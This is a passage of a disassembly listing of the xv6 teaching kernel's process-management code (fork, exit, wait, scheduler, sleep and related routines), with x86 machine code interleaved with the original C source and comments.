801045da: 8b 55 f4 mov -0xc(%ebp),%edx
801045dd: 89 10 mov %edx,(%eax)
switchuvm(proc);
801045df: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801045e5: 89 04 24 mov %eax,(%esp)
801045e8: e8 bf 37 00 00 call 80107dac <switchuvm>
return 0;
801045ed: b8 00 00 00 00 mov $0x0,%eax
}
801045f2: c9 leave
801045f3: c3 ret
801045f4 <fork>:
// Create a new process copying p as the parent.
// Sets up stack to return as if from system call.
// Caller must set state of returned proc to RUNNABLE.
int
fork(void)
{
801045f4: 55 push %ebp
801045f5: 89 e5 mov %esp,%ebp
801045f7: 57 push %edi
801045f8: 56 push %esi
801045f9: 53 push %ebx
801045fa: 83 ec 2c sub $0x2c,%esp
int i, pid;
struct proc *np;
// Allocate process.
if((np = allocproc()) == 0){
801045fd: e8 18 fd ff ff call 8010431a <allocproc>
80104602: 89 45 e0 mov %eax,-0x20(%ebp)
80104605: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80104609: 75 0a jne 80104615 <fork+0x21>
return -1;
8010460b: b8 ff ff ff ff mov $0xffffffff,%eax
80104610: e9 51 01 00 00 jmp 80104766 <fork+0x172>
}
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
80104615: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010461b: 8b 10 mov (%eax),%edx
8010461d: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104623: 8b 40 04 mov 0x4(%eax),%eax
80104626: 89 54 24 04 mov %edx,0x4(%esp)
8010462a: 89 04 24 mov %eax,(%esp)
8010462d: e8 f1 3c 00 00 call 80108323 <copyuvm>
80104632: 8b 55 e0 mov -0x20(%ebp),%edx
80104635: 89 42 04 mov %eax,0x4(%edx)
80104638: 8b 45 e0 mov -0x20(%ebp),%eax
8010463b: 8b 40 04 mov 0x4(%eax),%eax
8010463e: 85 c0 test %eax,%eax
80104640: 75 2c jne 8010466e <fork+0x7a>
kfree(np->kstack);
80104642: 8b 45 e0 mov -0x20(%ebp),%eax
80104645: 8b 40 08 mov 0x8(%eax),%eax
80104648: 89 04 24 mov %eax,(%esp)
8010464b: e8 7d e4 ff ff call 80102acd <kfree>
np->kstack = 0;
80104650: 8b 45 e0 mov -0x20(%ebp),%eax
80104653: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
np->state = UNUSED;
8010465a: 8b 45 e0 mov -0x20(%ebp),%eax
8010465d: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
return -1;
80104664: b8 ff ff ff ff mov $0xffffffff,%eax
80104669: e9 f8 00 00 00 jmp 80104766 <fork+0x172>
}
np->sz = proc->sz;
8010466e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104674: 8b 10 mov (%eax),%edx
80104676: 8b 45 e0 mov -0x20(%ebp),%eax
80104679: 89 10 mov %edx,(%eax)
np->parent = proc;
8010467b: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104682: 8b 45 e0 mov -0x20(%ebp),%eax
80104685: 89 50 14 mov %edx,0x14(%eax)
*np->tf = *proc->tf;
80104688: 8b 45 e0 mov -0x20(%ebp),%eax
8010468b: 8b 50 18 mov 0x18(%eax),%edx
8010468e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104694: 8b 40 18 mov 0x18(%eax),%eax
80104697: 89 c3 mov %eax,%ebx
80104699: b8 13 00 00 00 mov $0x13,%eax
8010469e: 89 d7 mov %edx,%edi
801046a0: 89 de mov %ebx,%esi
801046a2: 89 c1 mov %eax,%ecx
801046a4: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
801046a6: 8b 45 e0 mov -0x20(%ebp),%eax
801046a9: 8b 40 18 mov 0x18(%eax),%eax
801046ac: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
for(i = 0; i < NOFILE; i++)
801046b3: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
801046ba: eb 3c jmp 801046f8 <fork+0x104>
if(proc->ofile[i])
801046bc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801046c2: 8b 55 e4 mov -0x1c(%ebp),%edx
801046c5: 83 c2 08 add $0x8,%edx
801046c8: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801046cc: 85 c0 test %eax,%eax
801046ce: 74 25 je 801046f5 <fork+0x101>
np->ofile[i] = filedup(proc->ofile[i]);
801046d0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801046d6: 8b 55 e4 mov -0x1c(%ebp),%edx
801046d9: 83 c2 08 add $0x8,%edx
801046dc: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801046e0: 89 04 24 mov %eax,(%esp)
801046e3: e8 d4 c8 ff ff call 80100fbc <filedup>
801046e8: 8b 55 e0 mov -0x20(%ebp),%edx
801046eb: 8b 4d e4 mov -0x1c(%ebp),%ecx
801046ee: 83 c1 08 add $0x8,%ecx
801046f1: 89 44 8a 08 mov %eax,0x8(%edx,%ecx,4)
*np->tf = *proc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
801046f5: ff 45 e4 incl -0x1c(%ebp)
801046f8: 83 7d e4 0f cmpl $0xf,-0x1c(%ebp)
801046fc: 7e be jle 801046bc <fork+0xc8>
if(proc->ofile[i])
np->ofile[i] = filedup(proc->ofile[i]);
np->cwd = idup(proc->cwd);
801046fe: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104704: 8b 40 68 mov 0x68(%eax),%eax
80104707: 89 04 24 mov %eax,(%esp)
8010470a: e8 dd d1 ff ff call 801018ec <idup>
8010470f: 8b 55 e0 mov -0x20(%ebp),%edx
80104712: 89 42 68 mov %eax,0x68(%edx)
safestrcpy(np->name, proc->name, sizeof(proc->name));
80104715: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010471b: 8d 50 6c lea 0x6c(%eax),%edx
8010471e: 8b 45 e0 mov -0x20(%ebp),%eax
80104721: 83 c0 6c add $0x6c,%eax
80104724: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
8010472b: 00
8010472c: 89 54 24 04 mov %edx,0x4(%esp)
80104730: 89 04 24 mov %eax,(%esp)
80104733: e8 5e 0c 00 00 call 80105396 <safestrcpy>
pid = np->pid;
80104738: 8b 45 e0 mov -0x20(%ebp),%eax
8010473b: 8b 40 10 mov 0x10(%eax),%eax
8010473e: 89 45 dc mov %eax,-0x24(%ebp)
acquire(&ptable.lock);
80104741: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104748: e8 da 07 00 00 call 80104f27 <acquire>
np->state = RUNNABLE;
8010474d: 8b 45 e0 mov -0x20(%ebp),%eax
80104750: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
80104757: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
8010475e: e8 2b 08 00 00 call 80104f8e <release>
return pid;
80104763: 8b 45 dc mov -0x24(%ebp),%eax
}
80104766: 83 c4 2c add $0x2c,%esp
80104769: 5b pop %ebx
8010476a: 5e pop %esi
8010476b: 5f pop %edi
8010476c: 5d pop %ebp
8010476d: c3 ret
8010476e <exit>:
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
8010476e: 55 push %ebp
8010476f: 89 e5 mov %esp,%ebp
80104771: 83 ec 28 sub $0x28,%esp
struct proc *p;
int fd;
if(proc == initproc)
80104774: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
8010477b: a1 64 b6 10 80 mov 0x8010b664,%eax
80104780: 39 c2 cmp %eax,%edx
80104782: 75 0c jne 80104790 <exit+0x22>
panic("init exiting");
80104784: c7 04 24 9c 88 10 80 movl $0x8010889c,(%esp)
8010478b: e8 c4 bd ff ff call 80100554 <panic>
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
80104790: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
80104797: eb 43 jmp 801047dc <exit+0x6e>
if(proc->ofile[fd]){
80104799: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010479f: 8b 55 f0 mov -0x10(%ebp),%edx
801047a2: 83 c2 08 add $0x8,%edx
801047a5: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801047a9: 85 c0 test %eax,%eax
801047ab: 74 2c je 801047d9 <exit+0x6b>
fileclose(proc->ofile[fd]);
801047ad: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047b3: 8b 55 f0 mov -0x10(%ebp),%edx
801047b6: 83 c2 08 add $0x8,%edx
801047b9: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801047bd: 89 04 24 mov %eax,(%esp)
801047c0: e8 3f c8 ff ff call 80101004 <fileclose>
proc->ofile[fd] = 0;
801047c5: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047cb: 8b 55 f0 mov -0x10(%ebp),%edx
801047ce: 83 c2 08 add $0x8,%edx
801047d1: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
801047d8: 00
if(proc == initproc)
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
801047d9: ff 45 f0 incl -0x10(%ebp)
801047dc: 83 7d f0 0f cmpl $0xf,-0x10(%ebp)
801047e0: 7e b7 jle 80104799 <exit+0x2b>
fileclose(proc->ofile[fd]);
proc->ofile[fd] = 0;
}
}
begin_op();
801047e2: e8 dc ec ff ff call 801034c3 <begin_op>
iput(proc->cwd);
801047e7: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047ed: 8b 40 68 mov 0x68(%eax),%eax
801047f0: 89 04 24 mov %eax,(%esp)
801047f3: e8 7e d2 ff ff call 80101a76 <iput>
end_op();
801047f8: e8 48 ed ff ff call 80103545 <end_op>
proc->cwd = 0;
801047fd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104803: c7 40 68 00 00 00 00 movl $0x0,0x68(%eax)
acquire(&ptable.lock);
8010480a: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104811: e8 11 07 00 00 call 80104f27 <acquire>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
80104816: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010481c: 8b 40 14 mov 0x14(%eax),%eax
8010481f: 89 04 24 mov %eax,(%esp)
80104822: e8 ca 03 00 00 call 80104bf1 <wakeup1>
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104827: c7 45 f4 74 3e 11 80 movl $0x80113e74,-0xc(%ebp)
8010482e: eb 38 jmp 80104868 <exit+0xfa>
if(p->parent == proc){
80104830: 8b 45 f4 mov -0xc(%ebp),%eax
80104833: 8b 50 14 mov 0x14(%eax),%edx
80104836: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010483c: 39 c2 cmp %eax,%edx
8010483e: 75 24 jne 80104864 <exit+0xf6>
p->parent = initproc;
80104840: 8b 15 64 b6 10 80 mov 0x8010b664,%edx
80104846: 8b 45 f4 mov -0xc(%ebp),%eax
80104849: 89 50 14 mov %edx,0x14(%eax)
if(p->state == ZOMBIE)
8010484c: 8b 45 f4 mov -0xc(%ebp),%eax
8010484f: 8b 40 0c mov 0xc(%eax),%eax
80104852: 83 f8 05 cmp $0x5,%eax
80104855: 75 0d jne 80104864 <exit+0xf6>
wakeup1(initproc);
80104857: a1 64 b6 10 80 mov 0x8010b664,%eax
8010485c: 89 04 24 mov %eax,(%esp)
8010485f: e8 8d 03 00 00 call 80104bf1 <wakeup1>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104864: 83 45 f4 7c addl $0x7c,-0xc(%ebp)
80104868: 81 7d f4 74 5d 11 80 cmpl $0x80115d74,-0xc(%ebp)
8010486f: 72 bf jb 80104830 <exit+0xc2>
wakeup1(initproc);
}
}
// Jump into the scheduler, never to return.
proc->state = ZOMBIE;
80104871: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104877: c7 40 0c 05 00 00 00 movl $0x5,0xc(%eax)
sched();
8010487e: e8 b0 01 00 00 call 80104a33 <sched>
panic("zombie exit");
80104883: c7 04 24 a9 88 10 80 movl $0x801088a9,(%esp)
8010488a: e8 c5 bc ff ff call 80100554 <panic>
8010488f <wait>:
// Wait for a child process to exit and return its pid.
// Return -1 if this process has no children.
int
wait(void)
{
8010488f: 55 push %ebp
80104890: 89 e5 mov %esp,%ebp
80104892: 83 ec 28 sub $0x28,%esp
struct proc *p;
int havekids, pid;
acquire(&ptable.lock);
80104895: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
8010489c: e8 86 06 00 00 call 80104f27 <acquire>
for(;;){
// Scan through table looking for exited children.
havekids = 0;
801048a1: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801048a8: c7 45 f4 74 3e 11 80 movl $0x80113e74,-0xc(%ebp)
801048af: e9 9a 00 00 00 jmp 8010494e <wait+0xbf>
if(p->parent != proc)
801048b4: 8b 45 f4 mov -0xc(%ebp),%eax
801048b7: 8b 50 14 mov 0x14(%eax),%edx
801048ba: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801048c0: 39 c2 cmp %eax,%edx
801048c2: 74 05 je 801048c9 <wait+0x3a>
continue;
801048c4: e9 81 00 00 00 jmp 8010494a <wait+0xbb>
havekids = 1;
801048c9: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
if(p->state == ZOMBIE){
801048d0: 8b 45 f4 mov -0xc(%ebp),%eax
801048d3: 8b 40 0c mov 0xc(%eax),%eax
801048d6: 83 f8 05 cmp $0x5,%eax
801048d9: 75 6f jne 8010494a <wait+0xbb>
// Found one.
pid = p->pid;
801048db: 8b 45 f4 mov -0xc(%ebp),%eax
801048de: 8b 40 10 mov 0x10(%eax),%eax
801048e1: 89 45 ec mov %eax,-0x14(%ebp)
kfree(p->kstack);
801048e4: 8b 45 f4 mov -0xc(%ebp),%eax
801048e7: 8b 40 08 mov 0x8(%eax),%eax
801048ea: 89 04 24 mov %eax,(%esp)
801048ed: e8 db e1 ff ff call 80102acd <kfree>
p->kstack = 0;
801048f2: 8b 45 f4 mov -0xc(%ebp),%eax
801048f5: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
freevm(p->pgdir);
801048fc: 8b 45 f4 mov -0xc(%ebp),%eax
801048ff: 8b 40 04 mov 0x4(%eax),%eax
80104902: 89 04 24 mov %eax,(%esp)
80104905: e8 3d 39 00 00 call 80108247 <freevm>
p->pid = 0;
8010490a: 8b 45 f4 mov -0xc(%ebp),%eax
8010490d: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
p->parent = 0;
80104914: 8b 45 f4 mov -0xc(%ebp),%eax
80104917: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
p->name[0] = 0;
8010491e: 8b 45 f4 mov -0xc(%ebp),%eax
80104921: c6 40 6c 00 movb $0x0,0x6c(%eax)
p->killed = 0;
80104925: 8b 45 f4 mov -0xc(%ebp),%eax
80104928: c7 40 24 00 00 00 00 movl $0x0,0x24(%eax)
p->state = UNUSED;
8010492f: 8b 45 f4 mov -0xc(%ebp),%eax
80104932: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
release(&ptable.lock);
80104939: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104940: e8 49 06 00 00 call 80104f8e <release>
return pid;
80104945: 8b 45 ec mov -0x14(%ebp),%eax
80104948: eb 52 jmp 8010499c <wait+0x10d>
acquire(&ptable.lock);
for(;;){
// Scan through table looking for exited children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
8010494a: 83 45 f4 7c addl $0x7c,-0xc(%ebp)
8010494e: 81 7d f4 74 5d 11 80 cmpl $0x80115d74,-0xc(%ebp)
80104955: 0f 82 59 ff ff ff jb 801048b4 <wait+0x25>
return pid;
}
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
8010495b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010495f: 74 0d je 8010496e <wait+0xdf>
80104961: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104967: 8b 40 24 mov 0x24(%eax),%eax
8010496a: 85 c0 test %eax,%eax
8010496c: 74 13 je 80104981 <wait+0xf2>
release(&ptable.lock);
8010496e: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104975: e8 14 06 00 00 call 80104f8e <release>
return -1;
8010497a: b8 ff ff ff ff mov $0xffffffff,%eax
8010497f: eb 1b jmp 8010499c <wait+0x10d>
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
80104981: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104987: c7 44 24 04 40 3e 11 movl $0x80113e40,0x4(%esp)
8010498e: 80
8010498f: 89 04 24 mov %eax,(%esp)
80104992: e8 bf 01 00 00 call 80104b56 <sleep>
}
80104997: e9 05 ff ff ff jmp 801048a1 <wait+0x12>
}
8010499c: c9 leave
8010499d: c3 ret
8010499e <scheduler>:
// - swtch to start running that process
// - eventually that process transfers control
// via swtch back to the scheduler.
void
scheduler(void)
{
8010499e: 55 push %ebp
8010499f: 89 e5 mov %esp,%ebp
801049a1: 83 ec 28 sub $0x28,%esp
struct proc *p;
for(;;){
// Enable interrupts on this processor.
sti();
801049a4: e8 4f f9 ff ff call 801042f8 <sti>
// Loop over process table looking for process to run.
acquire(&ptable.lock);
801049a9: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
801049b0: e8 72 05 00 00 call 80104f27 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801049b5: c7 45 f4 74 3e 11 80 movl $0x80113e74,-0xc(%ebp)
801049bc: eb 5b jmp 80104a19 <scheduler+0x7b>
if(p->state != RUNNABLE)
801049be: 8b 45 f4 mov -0xc(%ebp),%eax
801049c1: 8b 40 0c mov 0xc(%eax),%eax
801049c4: 83 f8 03 cmp $0x3,%eax
801049c7: 74 02 je 801049cb <scheduler+0x2d>
continue;
801049c9: eb 4a jmp 80104a15 <scheduler+0x77>
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
proc = p;
801049cb: 8b 45 f4 mov -0xc(%ebp),%eax
801049ce: 65 a3 04 00 00 00 mov %eax,%gs:0x4
switchuvm(p);
801049d4: 8b 45 f4 mov -0xc(%ebp),%eax
801049d7: 89 04 24 mov %eax,(%esp)
801049da: e8 cd 33 00 00 call 80107dac <switchuvm>
p->state = RUNNING;
801049df: 8b 45 f4 mov -0xc(%ebp),%eax
801049e2: c7 40 0c 04 00 00 00 movl $0x4,0xc(%eax)
swtch(&cpu->scheduler, p->context);
801049e9: 8b 45 f4 mov -0xc(%ebp),%eax
801049ec: 8b 40 1c mov 0x1c(%eax),%eax
801049ef: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801049f6: 83 c2 04 add $0x4,%edx
801049f9: 89 44 24 04 mov %eax,0x4(%esp)
801049fd: 89 14 24 mov %edx,(%esp)
80104a00: e8 ff 09 00 00 call 80105404 <swtch>
switchkvm();
80104a05: e8 88 33 00 00 call 80107d92 <switchkvm>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
80104a0a: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80104a11: 00 00 00 00
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104a15: 83 45 f4 7c addl $0x7c,-0xc(%ebp)
80104a19: 81 7d f4 74 5d 11 80 cmpl $0x80115d74,-0xc(%ebp)
80104a20: 72 9c jb 801049be <scheduler+0x20>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
}
release(&ptable.lock);
80104a22: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104a29: e8 60 05 00 00 call 80104f8e <release>
}
80104a2e: e9 71 ff ff ff jmp 801049a4 <scheduler+0x6>
80104a33 <sched>:
// be proc->intena and proc->ncli, but that would
// break in the few places where a lock is held but
// there's no process.
void
sched(void)
{
80104a33: 55 push %ebp
80104a34: 89 e5 mov %esp,%ebp
80104a36: 83 ec 28 sub $0x28,%esp
int intena;
if(!holding(&ptable.lock))
80104a39: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104a40: e8 0d 06 00 00 call 80105052 <holding>
80104a45: 85 c0 test %eax,%eax
80104a47: 75 0c jne 80104a55 <sched+0x22>
panic("sched ptable.lock");
80104a49: c7 04 24 b5 88 10 80 movl $0x801088b5,(%esp)
80104a50: e8 ff ba ff ff call 80100554 <panic>
if(cpu->ncli != 1)
80104a55: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104a5b: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
80104a61: 83 f8 01 cmp $0x1,%eax
80104a64: 74 0c je 80104a72 <sched+0x3f>
panic("sched locks");
80104a66: c7 04 24 c7 88 10 80 movl $0x801088c7,(%esp)
80104a6d: e8 e2 ba ff ff call 80100554 <panic>
if(proc->state == RUNNING)
80104a72: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104a78: 8b 40 0c mov 0xc(%eax),%eax
80104a7b: 83 f8 04 cmp $0x4,%eax
80104a7e: 75 0c jne 80104a8c <sched+0x59>
panic("sched running");
80104a80: c7 04 24 d3 88 10 80 movl $0x801088d3,(%esp)
80104a87: e8 c8 ba ff ff call 80100554 <panic>
if(readeflags()&FL_IF)
80104a8c: e8 57 f8 ff ff call 801042e8 <readeflags>
80104a91: 25 00 02 00 00 and $0x200,%eax
80104a96: 85 c0 test %eax,%eax
80104a98: 74 0c je 80104aa6 <sched+0x73>
panic("sched interruptible");
80104a9a: c7 04 24 e1 88 10 80 movl $0x801088e1,(%esp)
80104aa1: e8 ae ba ff ff call 80100554 <panic>
intena = cpu->intena;
80104aa6: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104aac: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
80104ab2: 89 45 f4 mov %eax,-0xc(%ebp)
swtch(&proc->context, cpu->scheduler);
80104ab5: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104abb: 8b 40 04 mov 0x4(%eax),%eax
80104abe: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104ac5: 83 c2 1c add $0x1c,%edx
80104ac8: 89 44 24 04 mov %eax,0x4(%esp)
80104acc: 89 14 24 mov %edx,(%esp)
80104acf: e8 30 09 00 00 call 80105404 <swtch>
cpu->intena = intena;
80104ad4: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104ada: 8b 55 f4 mov -0xc(%ebp),%edx
80104add: 89 90 b0 00 00 00 mov %edx,0xb0(%eax)
}
80104ae3: c9 leave
80104ae4: c3 ret
80104ae5 <yield>:
// Give up the CPU for one scheduling round.
void
yield(void)
{
80104ae5: 55 push %ebp
80104ae6: 89 e5 mov %esp,%ebp
80104ae8: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock); //DOC: yieldlock
80104aeb: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104af2: e8 30 04 00 00 call 80104f27 <acquire>
proc->state = RUNNABLE;
80104af7: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104afd: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
80104b04: e8 2a ff ff ff call 80104a33 <sched>
release(&ptable.lock);
80104b09: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104b10: e8 79 04 00 00 call 80104f8e <release>
}
80104b15: c9 leave
80104b16: c3 ret
80104b17 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
80104b17: 55 push %ebp
80104b18: 89 e5 mov %esp,%ebp
80104b1a: 83 ec 18 sub $0x18,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
80104b1d: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104b24: e8 65 04 00 00 call 80104f8e <release>
if (first) {
80104b29: a1 08 b0 10 80 mov 0x8010b008,%eax
80104b2e: 85 c0 test %eax,%eax
80104b30: 74 22 je 80104b54 <forkret+0x3d>
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
80104b32: c7 05 08 b0 10 80 00 movl $0x0,0x8010b008
80104b39: 00 00 00
iinit(ROOTDEV);
80104b3c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104b43: e8 6f ca ff ff call 801015b7 <iinit>
initlog(ROOTDEV);
80104b48: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104b4f: e8 70 e7 ff ff call 801032c4 <initlog>
}
// Return to "caller", actually trapret (see allocproc).
}
80104b54: c9 leave
80104b55: c3 ret
80104b56 <sleep>:
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
80104b56: 55 push %ebp
80104b57: 89 e5 mov %esp,%ebp
80104b59: 83 ec 18 sub $0x18,%esp
if(proc == 0)
80104b5c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b62: 85 c0 test %eax,%eax
80104b64: 75 0c jne 80104b72 <sleep+0x1c>
panic("sleep");
80104b66: c7 04 24 f5 88 10 80 movl $0x801088f5,(%esp)
80104b6d: e8 e2 b9 ff ff call 80100554 <panic>
if(lk == 0)
80104b72: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80104b76: 75 0c jne 80104b84 <sleep+0x2e>
panic("sleep without lk");
80104b78: c7 04 24 fb 88 10 80 movl $0x801088fb,(%esp)
80104b7f: e8 d0 b9 ff ff call 80100554 <panic>
// change p->state and then call sched.
// Once we hold ptable.lock, we can be
// guaranteed that we won't miss any wakeup
// (wakeup runs with ptable.lock locked),
// so it's okay to release lk.
if(lk != &ptable.lock){ //DOC: sleeplock0
80104b84: 81 7d 0c 40 3e 11 80 cmpl $0x80113e40,0xc(%ebp)
80104b8b: 74 17 je 80104ba4 <sleep+0x4e>
acquire(&ptable.lock); //DOC: sleeplock1
80104b8d: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104b94: e8 8e 03 00 00 call 80104f27 <acquire>
release(lk);
80104b99: 8b 45 0c mov 0xc(%ebp),%eax
80104b9c: 89 04 24 mov %eax,(%esp)
80104b9f: e8 ea 03 00 00 call 80104f8e <release>
}
// Go to sleep.
proc->chan = chan;
80104ba4: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104baa: 8b 55 08 mov 0x8(%ebp),%edx
80104bad: 89 50 20 mov %edx,0x20(%eax)
proc->state = SLEEPING;
80104bb0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104bb6: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80104bbd: e8 71 fe ff ff call 80104a33 <sched>
// Tidy up.
proc->chan = 0;
80104bc2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104bc8: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
80104bcf: 81 7d 0c 40 3e 11 80 cmpl $0x80113e40,0xc(%ebp)
80104bd6: 74 17 je 80104bef <sleep+0x99>
release(&ptable.lock);
80104bd8: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104bdf: e8 aa 03 00 00 call 80104f8e <release>
acquire(lk);
80104be4: 8b 45 0c mov 0xc(%ebp),%eax
80104be7: 89 04 24 mov %eax,(%esp)
80104bea: e8 38 03 00 00 call 80104f27 <acquire>
}
}
80104bef: c9 leave
80104bf0: c3 ret
80104bf1 <wakeup1>:
//PAGEBREAK!
// Wake up all processes sleeping on chan.
// The ptable lock must be held.
static void
wakeup1(void *chan)
{
80104bf1: 55 push %ebp
80104bf2: 89 e5 mov %esp,%ebp
80104bf4: 83 ec 10 sub $0x10,%esp
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80104bf7: c7 45 fc 74 3e 11 80 movl $0x80113e74,-0x4(%ebp)
80104bfe: eb 24 jmp 80104c24 <wakeup1+0x33>
if(p->state == SLEEPING && p->chan == chan)
80104c00: 8b 45 fc mov -0x4(%ebp),%eax
80104c03: 8b 40 0c mov 0xc(%eax),%eax
80104c06: 83 f8 02 cmp $0x2,%eax
80104c09: 75 15 jne 80104c20 <wakeup1+0x2f>
80104c0b: 8b 45 fc mov -0x4(%ebp),%eax
80104c0e: 8b 40 20 mov 0x20(%eax),%eax
80104c11: 3b 45 08 cmp 0x8(%ebp),%eax
80104c14: 75 0a jne 80104c20 <wakeup1+0x2f>
p->state = RUNNABLE;
80104c16: 8b 45 fc mov -0x4(%ebp),%eax
80104c19: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80104c20: 83 45 fc 7c addl $0x7c,-0x4(%ebp)
80104c24: 81 7d fc 74 5d 11 80 cmpl $0x80115d74,-0x4(%ebp)
80104c2b: 72 d3 jb 80104c00 <wakeup1+0xf>
if(p->state == SLEEPING && p->chan == chan)
p->state = RUNNABLE;
}
80104c2d: c9 leave
80104c2e: c3 ret
80104c2f <wakeup>:
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80104c2f: 55 push %ebp
80104c30: 89 e5 mov %esp,%ebp
80104c32: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock);
